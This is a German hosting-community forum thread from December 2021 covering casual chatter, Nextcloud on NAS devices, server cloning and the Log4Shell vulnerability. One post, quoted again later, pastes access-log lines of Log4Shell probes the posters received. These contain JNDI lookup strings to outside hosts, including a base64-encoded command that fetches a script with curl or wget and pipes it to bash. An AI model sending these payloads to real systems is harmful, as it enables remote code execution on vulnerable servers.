Das längste Thema

KB19 · Dec 10th 2021

Quote from mfnalex

https://www.netcup.de/bestellen/produkt.php?produkt=2826 20€ für ein Notizbuch?

War zu Ostern auch nicht günstiger. Wenn ich mich an meine damalige Recherche richtig erinnern kann, ist das im Einkauf wahrlich nicht billig. Und die Versandkostenpauschale (nicht nur DE!) ist ja auch noch einkalkuliert.

Würde ich allerdings trotzdem nicht kaufen. Meines von Weihnachten liegt noch unbenutzt herum, das traut man sich ja fast gar nicht verschreiben.

aRaphael · Dec 10th 2021

Quote from KB19

Meines von Weihnachten liegt noch unbenutzt herum, das traut man sich ja fast gar nicht verschreiben.

Same here.

m_ueberall · Dec 10th 2021

Quote from aRaphael

Same here.

pamsel hätte so davon profitieren können...

tab · Dec 10th 2021

pamsel, hmmm, ich weiss nicht. Erinnert mich vom Namen her irgendwie an zumsel und das ist nicht gut

perryflynn · Dec 10th 2021

Und heute gehen die Grüße raus an alle Minecraft Server Betreiber...

https://twitter.com/cyb3rops/status/1469343827228086278

... und natürlich an alle die sonst Java Applications mit dem Internet reden lassen.

mainziman · Dec 10th 2021

Berggorillas wissen das, dass da auch was vom Berg runterfallen kann

perryflynn · Dec 10th 2021

Code

45.155.205.233 - - [10/Dec/2021:15:04:53 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"
45.155.205.233 - - [10/Dec/2021:15:04:55 +0100] "GET /index.html HTTP/1.1" 200 5155 "https://116.203.16.95:443/" "${jndi:ldap://45.155.205.233:12344/
Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"                                                                                                                                       188.166.92.228 - - [10/Dec/2021:16:51:56 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}"
188.166.92.228 - - [10/Dec/2021:16:51:56 +0100] "GET /index.html HTTP/1.1" 200 5155 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}"
188.166.92.228 - - [10/Dec/2021:16:51:57 +0100] "GET /favicon.ico HTTP/1.1" 200 2734 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-h
ttp-callback-scheme}"                                                                                                                                147.182.169.254 - - [10/Dec/2021:18:00:11 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:80/callback/ldap2}"
147.182.169.254 - - [10/Dec/2021:18:00:11 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:80/callback/ldap2}"
68.183.198.247 - - [10/Dec/2021:19:08:00 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:389/callback/responder}"
68.183.198.247 - - [10/Dec/2021:19:08:01 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:389/callback/responder}"
161.35.155.230 - - [10/Dec/2021:19:46:08 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:rmi://134.209.163.248:80/Z}"
161.35.155.230 - - [10/Dec/2021:19:46:08 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:rmi://134.209.163.248:80/Z}"
45.155.205.233 - - [10/Dec/2021:20:02:17 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"

Display More

Da sind sie.

perryflynn · Dec 10th 2021

External Content www.youtube.com

Content embedded from external sources will not be displayed without your consent.

Through the activation of external content, you agree that personal data may be transferred to third party platforms. We have provided more information on this in our privacy policy.

aRaphael · Dec 11th 2021

Quote from perryflynn

Da sind sie.

Ja, auch bei mir sind sie inzwischen vorstellig geworden:

0958 Sat Dec 11 11:08:12 WARNING 920350 "Host header is a numeric IP address" /${jndi:ldap:...:80/ye} -

tab · Dec 11th 2021

Hat hier jemand Erfahrungen mit lokalen Nextclouds, z.B. auf einem NAS-Server (Synology etc)? Läuft sowas und wenn ja, welche NAS-Server wären hierfür geeignet? Zugriff von "außen" ist im Moment noch nicht gefragt, wird aber wohl schnell kommen, wenn man die ganzen Möglichkeiten erst mal sieht und dann auch von unterwegs nutzen will.

Bisher basiert da alles auf E-Mail. Mitarbeiter_innen und der Chef schicken sich gegenseitig Mails zu mit Anweisungen bzw Nachfragen und Dokumenten im Anhang. Von einem Raum zum nächsten, der Chef auch ganz gern mal sich selbst als Notizzettel-Ersatz. Natürlich über einen Shared-Webhosting Mailserver, der zugegebenermaßen selten bis nie Probleme macht. Aber mit einem Upload von ca 1 MBit/s macht das bei größeren Anhängen eher wenig Spass, zudem sollten die Dokumente (und die Notizen vom Chef) natürlich auch schon aus Datenschutz/Datensicherheits Gründen nicht unnötig das Haus verlassen.

ArtCore7 · Dec 11th 2021

Ich hab ein HP Microserver Gen8 mit OpenMediaVault und Nextcloud im Docker. Funktioniert alles wie gewünscht.

mfnalex · Dec 11th 2021

Quote from perryflynn

Code

45.155.205.233 - - [10/Dec/2021:15:04:53 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"
45.155.205.233 - - [10/Dec/2021:15:04:55 +0100] "GET /index.html HTTP/1.1" 200 5155 "https://116.203.16.95:443/" "${jndi:ldap://45.155.205.233:12344/
Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"                                                                                                                                       188.166.92.228 - - [10/Dec/2021:16:51:56 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}"
188.166.92.228 - - [10/Dec/2021:16:51:56 +0100] "GET /index.html HTTP/1.1" 200 5155 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}"
188.166.92.228 - - [10/Dec/2021:16:51:57 +0100] "GET /favicon.ico HTTP/1.1" 200 2734 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-h
ttp-callback-scheme}"                                                                                                                                147.182.169.254 - - [10/Dec/2021:18:00:11 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:80/callback/ldap2}"
147.182.169.254 - - [10/Dec/2021:18:00:11 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:80/callback/ldap2}"
68.183.198.247 - - [10/Dec/2021:19:08:00 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:389/callback/responder}"
68.183.198.247 - - [10/Dec/2021:19:08:01 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:389/callback/responder}"
161.35.155.230 - - [10/Dec/2021:19:46:08 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:rmi://134.209.163.248:80/Z}"
161.35.155.230 - - [10/Dec/2021:19:46:08 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:rmi://134.209.163.248:80/Z}"
45.155.205.233 - - [10/Dec/2021:20:02:17 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"

Display More

Da sind sie.

Ja, ein paar Witzbolde haben das auch direkt auf meinen Gameservern probiert. Da war zum Glück schon alles gepatcht. Jeder der es weiterhin versucht wird permanent gebannt, ist ja klar. Ist ja schnell erkannt mittels regex.

Hab das mal in einer VM probiert, ohne irgendwelche bösen Payloads - das hat schon ausgereicht für nen SegFault, der sich erst ein paar Stunden später gezeigt hat …

aRaphael · Dec 11th 2021

$ java

-bash: java: command not found

Olivetti · Dec 11th 2021

das bedeutet ja nur, dass dein java nicht im suchpfad ist.

aRaphael · Dec 11th 2021

Quote from Olivetti

das bedeutet ja nur, dass dein java nicht im suchpfad ist.

$ update-alternatives --list java

update-alternatives: error: no alternatives for java

$ ls -l /usr/bin/java

ls: cannot access '/usr/bin/java': No such file or directory

$ sudo apt list --installed | grep -i jdk

$

joas · Dec 11th 2021

aRaphael

Du bist gerade ganz frisch Meister geworden, Glückwunsch

Screenshot_20211211-184248.png

aRaphael · Dec 11th 2021

Quote from joas

Du bist gerade ganz frisch Meister geworden, Glückwunsch

Oh. Sieh an. Ist mir gar nicht aufgefallen.

Na, dann kann ich mich ja nun wieder aus dem Forum zurückziehen. Hatte mich ja nur deshalb hier angemeldet um ein Ziel vor Augen zu haben.

m_ueberall · Dec 11th 2021

Quote from aRaphael

Na, dann kann ich mich ja nun wieder aus dem Forum zurückziehen. Hatte mich ja nur deshalb hier angemeldet um ein Ziel vor Augen zu haben.

Kann ich nicht verantworten und werde alle XX+ Likes automatisiert wieder rückabwickeln lassen.

ASS · Dec 11th 2021

Quote from tab

Hat hier jemand Erfahrungen mit lokalen Nextclouds

Goflex-Net mit SSD.

aRaphael · Dec 11th 2021

Hat schon mal jemand hier Server mit dd über ssh geklont? (Sind zwei Server mit identischer Spezifikation und Plattengröße)

Snapshot exportieren und auf den anderen Server wieder einspielen habe ich schon erfolgreich durchgeführt.

Aber geht es evtl. auch auf direktem Weg?